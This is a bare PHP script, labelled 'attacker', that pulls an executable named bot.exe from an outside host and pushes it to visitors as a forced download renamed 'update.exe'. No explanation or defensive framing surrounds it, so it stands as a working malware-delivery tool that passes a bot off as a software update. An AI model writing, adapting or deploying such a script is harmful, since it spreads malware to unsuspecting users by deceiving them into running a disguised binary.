<?php // attacker $bot = 'http://www.bot1.cn/bot.exe'; // url of exe file header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=update.exe'); header('Content-Length: ' . filesize($bot)); readfile($bot); die; ?>